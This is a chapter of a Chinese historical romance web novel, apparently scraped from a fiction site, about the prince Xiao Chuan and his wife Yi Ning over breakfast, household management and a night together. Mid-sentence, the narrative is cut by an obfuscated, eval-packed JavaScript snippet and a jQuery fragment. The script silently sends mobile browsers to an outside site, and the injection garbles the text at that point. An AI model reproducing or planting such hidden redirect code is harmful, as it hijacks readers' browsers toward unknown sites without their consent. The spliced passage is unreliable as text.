萧川盯着弈宁:“说好了晚上,不耍赖?”
弈宁忙不迭地点头,连声应道:“嗯嗯,说好了。”
萧川这才放开她,替她拢了拢衣裳,道:“你再去用些早膳吧,我在这里坐会儿。”
弈宁见他盘腿坐在罗汉床上,刚想问他外院是不是还有事,眼睛不经意间撇了他一眼,顿时像是被烫了脚一般,“噌”地站起身,逃一般出了寝屋。
萧川见她窜得比野地里的兔子还快,低头看了看自己,不禁扶着额无奈低笑,慢慢开始平息起来。
等萧川终于走出寝屋时,弈宁还在一小口一小口地吃着一碗臊子面。
弈宁发现府里厨子做的面十分劲道,吃起来格外有嚼劲,臊子也炒的很香。
萧川走到她跟前,他已经又恢复成了那个冷静自持的承王。扫了眼弈宁的食案,他问:“我让人给你做了酿奶冻子,你可尝了?”
弈宁点头,又挑了一根面放入口中。
萧川见她吃饭还是跟只小猫似的,面条竟然还一根一根的吃,觉得十分有趣,干脆在她对面坐下来,看着她吃。
弈宁见他坐下来了,就问他:“殿下要再用些么?”
萧川摇头,示意她继续吃。弈宁皱眉,哪有人干坐着看别人用膳的?她是吃饭,又不是表演杂耍。
硬着头皮又吃了一根,实在没办法在他注视的目光下坦然继续,弈宁便放下筷子,准备叫人来收。
“怎么不吃了?”萧川问。
弈宁心道:你这般眼睛不眨地瞅着我,我怎么吃?嘴上却道:“吃不下了。”
萧川摇了摇头,突然伸手将碗端到自己面前,又拿起筷子,挑起一筷子面就要往嘴里送。
弈宁大吃一惊,赶紧抓着他握筷子的手,道:“殿下?”
萧川淡定解释,道:“我尝尝,有这么难吃么?”说完,将弈宁的手拿下来握到手中,大口开始吃起来。
弈宁想说,那是她吃剩下的。但看着萧川已经将面咽了下去,只好抿了抿唇,将已经到了嘴边的话也咽了下去。
大半碗面,他三两口就吃完了,快的弈宁连表情都还没来得及换。
他吃完后,拿帕子擦了嘴,道:“我吃着还行,你若不喜欢就让他们下回做别样的。”
弈宁这才回过神来,眨巴着眼睛,道:“我没有不喜欢啊,挺好吃的。”
萧川疑惑蹙眉,问:“既然好吃,你怎的吃的这般勉强,还一根一根的吃?”
弈宁大窘,原来竟是因为这个原因。她解释道:“那面太粗了,而且一根就那么长,不过确实是好吃的。”
萧川恍然大悟,上京喜食细面,弈宁应是没吃过西北这种手扯的面。
他笑了笑,道:“下回我让厨子给你扯细些就是。”
想起什么,他又道:“酿奶冻子你吃着可喜欢?”
提到这个,弈宁觉得口里好像立马就又涌起了一股酸,她老实摇了摇头,道:“口感倒是滑嫩,就是太酸了。”
萧川轻笑,道:“下次让人给你放些蜜再试试。”
弈宁觉得萧川似乎对让她吃这个东西有一种别样的执着,便问:“殿下很喜欢酿奶冻?”
萧川摇头,道:“我吃东西不挑,却也没有很喜欢什么。”
这下弈宁就不解了,既然他也没有很喜欢,却为何如此执着要让她尝。
看着弈宁一脸疑惑的样子,萧川脸上闪过一丝促狭的笑,他站起身,道:“褚英还在书房等我,我先过去了。”
弈宁闻言,简直气结,书房里有人等着他,他还在这里磨磨蹭蹭这么长时间?方才在内室他竟然还想。。。。。。
弈宁简直不知该说他什么好了,若能骂,她真想骂一句“色令智昏”!
她起身送他出门,结果萧川走了几步忽地又折身回来,俯在弈宁耳边,低低道:“关于酿奶冻子,晚上告诉你。”
说完,也不要弈宁送了,自己弯着嘴角,脚步轻快地出了门。
——
接下来的这一整天,弈宁都十分忙碌。
先是乔嬷嬷带了全府下人来给弈宁请安,又将王府的各项账本,人情往来册子,以及各处库房钥匙全交给了弈宁。有些要务,需得一项一项细细给她详述,着实耗费了些功夫。
弈宁十岁开始,便协助秦氏处理谢府琐事,对管家之事其实十分熟稔。但她还是客气地跟乔嬷嬷道:“嬷嬷不若先继续管着,后面再慢慢交给我就好。”
不是她虚伪,而是从这些账本册子来看,乔嬷嬷管王府十分尽心,也管的很好。她虽是当家主母,可总不好一来就夺了人手上所有的权利,也太让人寒心了些。
乔嬷嬷却笑道:“王妃就疼惜疼惜奴婢这把老骨头吧。从前殿下未娶妃,奴婢倚老卖老,只能帮着看顾些,如今王妃来了,奴婢可是早就盼着能将这些交托出去,好生偷偷懒了。”
话已至此,弈宁也就不再推脱了。却好说歹说,仍旧是让乔嬷嬷帮忙管着府中公厨灶上的采买和下人们的月利发放,这也是府中顶重要的两项,必得可靠的人盯着才行。
乔嬷嬷知道弈宁这是信任她,也是想继续维持她在府中的地位,便欣然应了下来。
同样是承王府,西北这边的事却比京城那边杂乱的多。弈宁觉得这么多事,左右不是一两日能够理清的,索性便先不管了。
午睡后,干脆吩咐人开始重新摆放院子里的那些花来。昨日弈宁一进院子就发现了,花都是好花,只是摆放的毫无章法,全然显不出美感。
弈宁指挥了下人,将各种颜色不同、高矮不同的花,错落有致地搭配摆放。这才发现,萧川给她寻的花里,竟然还有不少名品。就比如说此时她摸着的这株凤凰振羽,可谓是菊中极品,即便是在上京也找不出几株品相这般好的凤凰振羽。
也不知萧川是打哪里弄来的,还有昨日见到的那块白玉壁。看来,萧川原比她想象中的更有钱。只是不知,他这些钱都是哪里来的。
相较于与弈宁的忙碌,另一边的萧川则显得有些心不在焉,他几乎一整日都在等着天黑。
秦风看着自家殿下时不时就往窗外望,他也伸着头跟着看了一圈,然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368742|135967||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后在萧川第四次问他“什么时辰”时,默默地出去般了个滴漏进来。
当滴漏刻箭终于下到酉时,萧川“噌”地站起来,拔腿就往外走。
秦风正靠着书房的外门框,拿袖子擦着他新得的弩箭,就感觉一个人影从他面前一晃就过去了。还以为出了什么了不得的事,提着弩箭便跟了上去。
萧川走出前廊,才发觉跟上来的秦风,缓了脚步,道:“我回内院,你跟着作甚?”
想了想,只抛下句:“若没有什么要紧事,别来寻我,找褚雷就是。”便头也不回地走了。
秦风“哦”了一声,转身又往回走,走了两步,才觉得哪里不对:殿下回内院,他怎么就不能跟着了?他可是贴身护卫呢。
他想问问殿下,奈何萧川已经走远了。
十五的月亮十六圆。。。。。。(至于怎么个圆法,这里就不展开细说了。不是我懒,主要是细说了咱也发不出去,那个啥啥也不让咱展开了说,大家都懂的)
弈宁实在不能理解,以萧川对男女之事的这种热衷程度,他是怎么做到四年都不曾碰楚月的。
此时,看着身上青青紫紫的指痕,弈宁只气的想咬他一口。
“好了,是我不好,我下回一定注意。”萧川揽着她的肩,轻声哄她。
弈宁在心里偷偷翻了个白眼,穿好寝衣,自顾回了内室,也不搭理他。
萧川看她气鼓鼓的样子,沉声低笑。他从前猜的不错,她生气的样子果然十分可爱。
迅速擦干身子,他穿好衣裳也出了浴室。
床榻上的人儿已经背朝着外面睡下了,纤瘦的身子裹在被褥里,细细长长的一条儿,让人看了格外心软。
他掀开被褥躺了进去,然后一把将人捞到自己怀里。
弈宁也不是真生气,挣扎了两下挣不开,便放弃了。找了个舒服的姿势,窝睡在萧川怀里,拉起萧川放在自己腰间的大手,将自己的手放在他的手中。
掌中小手柔滑细腻,怀中娇躯温软馨香,萧川觉得这一世,应该再没有什么能比过此刻的心满意足。
鼻尖蹭过弈宁颈侧的肌肤,萧川忽地忆起什么,低低笑了声,轻问道:“你不是想知道我为何要让你尝酿奶冻子么?”
弈宁闻言,也顿时想起来了。是啊,为什么呢?
萧川将嘴唇凑到她耳边,耳鬓厮磨般窃窃私语:“因为我觉得你就像是块刚拿出来的酿奶冻子。”
弈宁一愣,这是什么话?
还不待她开口问,萧川满含笑意的声音又在耳边响起:“滑嫩滑嫩,还香香的。”
一时间,弈宁脸都热了,若不是在夜里,定然能看到两瓣熟透的苹果。她又气又好笑,偏被他从后抱着,半点儿不能奈他何。
咬了咬唇,她一偏头,张嘴咬在萧川的胳膊上。萧川却丝毫不惧,反倒是将他搂的更紧了,还开心地笑了起来,心情十分畅快。
弈宁干脆不理他了,合上眼睛自管开始睡觉。
这一夜,萧川和弈宁贴着彼此,睡的十分香甜,可有人却因为他们而睡不着了。